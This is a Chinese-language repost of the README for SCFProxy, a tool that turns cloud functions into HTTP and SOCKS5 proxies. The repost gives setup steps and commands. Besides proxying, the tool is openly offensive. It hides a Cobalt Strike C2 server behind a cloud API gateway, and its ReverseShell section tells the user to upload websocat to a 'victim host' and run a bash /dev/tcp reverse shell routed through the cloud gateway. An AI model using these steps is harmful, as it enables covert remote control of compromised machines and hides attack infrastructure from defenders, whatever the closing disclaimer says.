SCFProxy——一个利用云函数实现各种功能的工具
作者:Xiaonuo | 发布时间:
SCFProxy
一个利用云函数实现各种功能的工具。
GitHub项目地址
https://github.com/shimmeris/SCFProxy
功能
- HTTP 代理
- 腾讯云
- 阿里云 (感谢 @lyc8503 提供)
- SOCKS5 代理
- 接收反弹 shell
- C2 域名隐藏
原理
详细原理参见文章浅谈云函数的利用面
TODO
- 支持其他云厂商
- 整合多个 HTTP 代理厂商,实现多厂商的一键部署
C2 域名隐藏
该功能无需任何代码,只需要在 API 网关 注册服务即可
网关配置
- 在API 网关中新建服务,访问方式选择公网,其余不变
- 进入服务见面,新建 API 配置如下,进入下一步
- 配置后端类型为公网URL/IP,后端域名配置自己的 CS 服务器,后端超时拉满即可。
CS 配置
将网关地址填入 host 监听器即可
HTTP Proxy
安装
需 Python >= 3.8
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
一键部署
访问 API 密钥管理 获取 SecretId 与 SecretKey,填入 setup.py 中
运行如下代码查看具体部署方式
python3 setup.py --help
手动项目配置
函数配置
-
开通腾讯云函数服务
-
修改 server.py 中的
SCF_TOKEN为随机值(该值将用于鉴权),并将相同的值填入 client.py 中的SCF_TOKEN,将 server.py 代码复制粘贴到编辑器中。 -
点击完成
触发器配置
客户端配置
本项目基于 mitmproxy 提供本地代理,为代理 HTTPS 流量需安装证书。 运行 mitmdump 命令,证书目录自动生成在在 ~/.mitmproxy 中,安装并信任。
开启代理开始运行:
mitmdump -s client.py -p 8081 --no-http2
如在 VPS 上运行需将 block_global 参数设为 false
mitmdump -s client.py -p 8081 --no-http2 --set block_global=false
效果
挂上代理获取当前 ip:
查询 ipinfo 为腾讯的服务器: 
ip 数量
经测试,单个地区服务器 200 个请求分配 ip 数量在 60-70 左右。
限制
- 请求与响应流量包不能大于 6M
- 云函数操作最大超时限制默认为 3 秒,可在云函数环境配置中修改执行超时时间
- 因云函数限制不能进行长连接,仅支持代理 HTTP 流量
ReverseShell
通过云函数的 websocket API 网关实现接收反弹 Shell 的功能。
项目配置
数据库配置
本项目需要一个允许外部连接的 MySQL 数据库。数据库配置语句如下:
create database SCF;
use SCF;
create table Connections (
ConnectionID varchar(128) NOT NULL,
Date datetime,
is_user tinyint
)
修改 src 文件夹内所有文件中的如下变量
db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码
push_back_host = 等后续配置 API 网关后填写
函数配置
- 新建 API,前端类型选择 WS,其余默认,进入下一步
- 开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:
- 点击立即完成,发布服务
- 点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的
push_back_host变量。
- 修改 transmission.py 中的
PASSWORD变量,该变量将用于客户端连接 ws 后将连接认证为用户。 - 分别复制三个文件的内容到对应的云函数中并部署。
使用方式
需要借助 websocat。
- 上传 websocat(或远程下载)到受害主机
- 执行
websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway转发端口 - 反弹 shell 到本地端口
bash -i >& /dev/tcp/127.0.0.1/12345 0>&1(2、3 两步也可利用 & 合并成一条命令)
ws 连接后可执行的命令:
auth PASSWORD 将当前连接认证为用户,只有用户能接收未认证连接发送的信息
close 关闭当前连接
closeall 关闭目前存在的所有连接
SOCKS5
安装
上传 socks_client 文件夹到 VPS 上,执行安装
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
项目配置
云函数配置
参见 HTTP Proxy 的代理配置
注意事项
- 修改 server.py 中的
bridge_ip与bridge_port变量为自己的 VPS 的 ip 及开启监听的端口 - 修改云函数超时时间为 900s(因此一个 SOCKS5 长连接最多维持 15m)
客户端配置
执行 socks5.py(仅支持 Python >= 3.8)
$ python3 socks5.py -h
usage: socks5.py [-h] -u SCF_URL [-l ip] -sp SOCKS_PORT -bp BRIDGE_PORT [--user USER] [--passwd PASSWD]
SCF Socks5 Proxy Server
optional arguments:
-h, --help show this help message and exit
-u SCF_URL, --scf-url SCF_URL
API Gate Way URL
-l ip, --listen ip Bind address to listen, default to 0.0.0.0
-sp SOCKS_PORT, --socks-port SOCKS_PORT
Port accept connections from client
-bp BRIDGE_PORT, --bridge-port BRIDGE_PORT
Port accept connections from SCF
--user USER Authentication username
--passwd PASSWD Authentication password
-u参数需要填写 API 网关提供的地址,必填-l表示本机监听的 ip,默认为 0.0.0.0-sp表示 SOCKS5 代理监听的端口,必填bp表示用于监听来自云函数连接的端口,与 server.py 中的bridge_port相同,必填--user和--passwd将用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码
常用语法
python3 socks5.py -u "https://service-xxx.sh.apigw.tencentcs.com/release/xxx" -bp 53203 -sp 53201 --user test --passwd test
免责声明
此工具仅供测试和教育使用,请勿用于非法目的。











